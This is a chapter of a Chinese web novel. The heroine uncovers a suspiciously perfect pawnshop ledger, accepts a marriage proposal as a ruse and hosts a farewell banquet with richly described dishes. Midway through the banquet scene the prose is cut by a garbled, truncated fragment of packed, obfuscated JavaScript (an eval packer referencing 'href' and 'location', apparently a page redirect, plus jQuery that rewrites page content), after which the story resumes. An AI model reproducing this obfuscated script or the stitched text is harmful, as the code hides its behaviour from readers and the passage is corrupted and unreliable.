是她的岛 作品
37. 八宝葫芦鸭
“前几日我从昭应回去，又来找过我一次......”
这就对得上了。
蓝锦忆起那影影绰绰窥伺自己的黑影，谁曾想他那么不死心？
这也忒小心眼了，就为着小商贾的一笔银钱，表面上潇洒大度，背地里这样百般算计她。
他们那些人也太把自己的面子当回事了吧？
蓝锦慢慢收回手，把玩着翁十娘髻上金钗的流苏末梢。
懒洋洋道：“夫人，你就回去跟他说，这门亲事，我应下了。”与其纵虎归山，不如将计就计。
翁十娘心下狂喜，也顾不得去想蓝锦突然转变的态度，一张面孔乐得像娓娓盛开的红莲花。
街上车水马龙，走街串巷的货郎叫卖声声，有麦芽糖小摊的拨浪鼓响，引来举着风车笑闹的孩童。
蓝锦走进一家黑涂涂的当铺，门槛高，叫阳光里的灰尘扑了下眼睛。
“咳，咳，”蓝锦拿手掌扇了几下，“掌柜的，我要赎这枚玉佩。”
伙计接了条子，转身核对了一圈，“客官，您这个玉佩，当的可是死当呀。现下，早就不知被哪位贵人买走了，可没处赎去了。”
蓝锦蹙起了眉：“怎么会，是活当，二十两。你们莫不是录错了？当时一起当的小物件是死当，九两银。”
“错不了，您看，这儿写着不是？二十九两，死当，耳铛一副，素钗一支，玉佩一枚。您姓蓝不是？”
蓝锦接过来一看，那张纸上却是这样的写。笔迹一致，没有涂改的痕迹。
这一页都是这么规整无暇。笔迹匀称，甚至墨迹都深浅一致，纸张新旧程度合理，没有涂改。
没有问题，本身就是问题。蓝锦慢慢把账本还给栅栏格里头的伙计，扬起一个笑：“想是我记错了，扰了您的生意，勿怪。”
她的直觉是对的，这玉佩，果然有点问题。
冥冥之中，蓝锦乍然想起另一张栅栏格后的面孔。萧曼娘低沉地凑近她：“我知道你与天都萧家有亲......”
翁十娘说那个嫁去就当寡妇拿钱的门户是哪家来着？好像是萧国公府。
蓝锦觉得在不为人知的地方，有人织起一张大网，逐渐地捕获她，她却连对手都看不清楚。
拿这玉佩是在人迹罕至的大山里，若是这个局从她一穷二百的时候就设起来了，那也太可怕了吧？！
原身这个坚韧又可怜的小姑娘究竟遭遇了什么......
去天都开新店的准备事宜做得差不多了。蓝锦将手艺最好的汪厨子聘做蓝记私厨的代理掌柜，把蓝记大酒楼托付到了罗满仓罗大娘手里。
蓝记牛肉火锅本想叫悟雅留下照管，谁想到悟雅小脸苦得难看，抱着酒钱不撒手，扯着蓝锦的衣角，四只湿漉漉的黑眼珠把她盯住：“蓝姐姐别不要我......”
蓝锦这下真是哭笑不得了，柔柔道：“你在想些什么？小秋转书院还需慢慢物色一阵，许多事要人留下看着。我信任你还来不及，还把责任最重大的新店叫你管着，怎么说是不要你。”
悟雅对手指：“我舍不得蓝姐姐，一定要跟你一起去。你稀里糊涂就答应了嫁人，还要认去别人家做家人了。你不要我和小秋了！我好难受，好难受好难受！”
居然稀里哗啦地哭了起来，眼泪叭嗒叭嗒地滴到酒钱雪白的卷毛上。
酒钱把两只前爪扒住蓝锦的胳膊，口中呜呜作响，焦躁地拨来拨去。
蓝锦轻柔地拭去悟雅脸蛋上的泪痕，一手把酒钱托在怀里，一手去搂住悟雅的脖颈：“对不起，悟雅。最近我忙着料理自己的事，忽视你们良多。”
“我向你保证，你，我，小秋，酒钱，我们永远都是一家人。我是担心有人在背后捣鬼，眼红我们家的运道。所以借这个机会，亲自去探探是人是鬼。”
“而且，我们不是早就商量过，要把蓝记开遍五湖四海，让天下的人都尝尝你家小娘子的、盘古开天以来无人能敌的饭食吗？我请你管昭应的店面，也是向外迈的第一步呀。”
“若你想和我一起去，那我就另聘一个掌柜的，再请妙清师太多看顾这里，她离这也最近。好吗？”
悟雅破涕为笑了：“我就知道蓝姐姐不会不要我们的。”
小秋对此的反应倒是另一个画风。她像没去书院时的小孩子一样，攀着蓝锦的脖颈，在她耳侧轻轻说：“姐姐，你不是说你再也不会回那个家了吗？”
蓝锦心下微动，略一思忖，也悄悄地凑在小秋耳侧轻声说：“回去找一找大坏蛋。”
小秋一下就领会了，拍手道：“好，姐姐终于要去把他们判刑一百次了！”
蓝锦笑着揉揉小秋愈发浓黑的头发：
“别担心啦，洛姐姐今天来么？”
“我下学时和她说了，霍山长和明山长也都来，沈姐姐和桑姐姐也来。”
蓝锦打算办一场分别宴，好好谢谢这些时日大家的照顾。
大伙团团坐满了两大张圆桌，中心摆的那道菜是八宝葫芦鸭。
鸭皮金黄油亮的，“倒像个搁在多宝阁上的琥珀摆件！”是任何时间都无忧无虑的云江望在拍大腿。
脆壳泛着光泽，外皮紧致光滑。蓝锦执刀轻轻一划，香气刹那爆发，像是把田野上所有的新稻烹煮在一锅，醇厚的肉香带着一丝香甜的气息，绕着人的鼻尖打转。
挖一勺到眼前，糯米粒粒分明，每一颗都是浅褐色，浸裹着一层润泽的鸭肉脂肪。
送进嘴里，脆嫩的笋尖咯吱咯吱地被咬开。咸鲜十足的，是干贝和火腿，彷佛静静的白桦林中陡然扑簌簌地飞出的几只黄莺一样出挑。
咬起来艮艮又醇厚的是猪瘦肉、鸭胗和香菇，肉香四溢。绵软甘甜的是薏仁米和芡实，在荤香中自带一种意趣。
糯米的甜润巧妙地把这些交织到一起，引导着各种风味在口腔中争先恐后地一浪高过一浪。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15149765|163650||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
扯下一片软烂的鸭肉盖在八宝馅上，外皮酥香脆口，肉质软嫩不柴，一入口就鲜味四溢，出乎意料地融化在了口中似的，浓郁和清淡恰到好处地相互搭配。
这鸭子是整只脱骨的，不能吃的地方已经被精细地去了干净，偏偏外皮还是完整的。每一大口都是纯粹的美味，视觉和味觉全都有十足幸福的体验。
“妙啊！真妙！蓝姐姐不愧是饮食天才，这个葫芦鸭形似其名，娇俏可爱，好想叫个个鸭子都长成这样！”
“是极是极，两个圆咕隆咚的球拼在一起，可爱可爱。我可算懂了，为何我阿奶这么喜欢葫芦，说着什么福禄双全的。若葫芦都是蓝姐姐家这样的，我也爱，爱得天天拿勺子去啃。”
蓝锦就知道她们是这个反应，又笑着端来一份孩子最爱的炸茄盒与炸藕盒。
连大孩童妙清师太也垂涎欲滴，那冒着热气、金黄焦亮的茄盒藕盒一端上桌，她就立即搛起一片又一片往嘴里送。落苏（茄子）裹了薄薄一层调过味的面糊，经了几重炸制，外酥里软。
那牙齿破开这层小小的盔甲，就见着了一圈油亮的紫色外皮。这菜要趁热吃，落苏肉吸饱了肉馅的鲜香，汁水丰饶，香糯中还透着一股食材本身的甜味。
藕盒的孔洞拦不住饱满的肉馅，空隙都叫肉末填得满当当，被油炸得干香焦脆。轻薄酥脆的炸衣一咬就“咔嚓”作响，爽脆的藕块在唇齿间也颇有存在感。
清甜的藕香伴随着细腻醇厚的肉馅，伴随着椒盐咸香，直叫人不顾滚烫，嘶哈着嘴巴也要吞进肚里。
因是炸货，蓝锦配了蘸料，一点香醋，一道只香不辣的辣椒面，还有一道小秋点名要的番茄酱。
不管蘸哪一种配料，都能叫原本就足够诱人的炸货再添几层风味，滋味在舌尖缠绕，经久不散。
就连霍鸿飞和明翊都是一口接一口，全然摆不起山长架子。吃得停不下来，留恋着唇齿间那股独特的香酥气。
若说在座的谁最不舍，当属桑远谯和沈苏琰，吃得快挂上两根宽面泪：“好吃，真好吃，鸭肉怎么也能这么香嫩。”
“世上还有茄盒藕盒这种神仙吃法！我要叫我家厨房也学。”
“蓝姐姐，若是你不走就好了。她们吃过的东西都比我们多好多！这下你一走，我们又不知何年何月才能吃上这样好的饭菜。”
云江望抢白她：“那你以后考上白鹿书院，去了天都，照样能吃，别给蓝姐姐泄气嘛！蓝姐姐要去天都开大大大酒楼的！”
霍鸿飞放下筷子，正色道：“蓝小娘子，你真的想好了要孤身去天都吗？那确实不是一个简单的地方。”
蓝锦咽下口中的饭食，拿帕子一拭嘴角：“谢霍娘子关怀。不是孤身，悟雅随我一道。待我置了宅院，打点好了，就把小秋接过去。过去麻烦了二位山长这许多，还得厚颜托您再关照一段时日。”
霍鸿飞倒有些讶然：“你不打算去浔阳侯徐家？”
蓝锦道：“徐家是要去的，但不是现在。”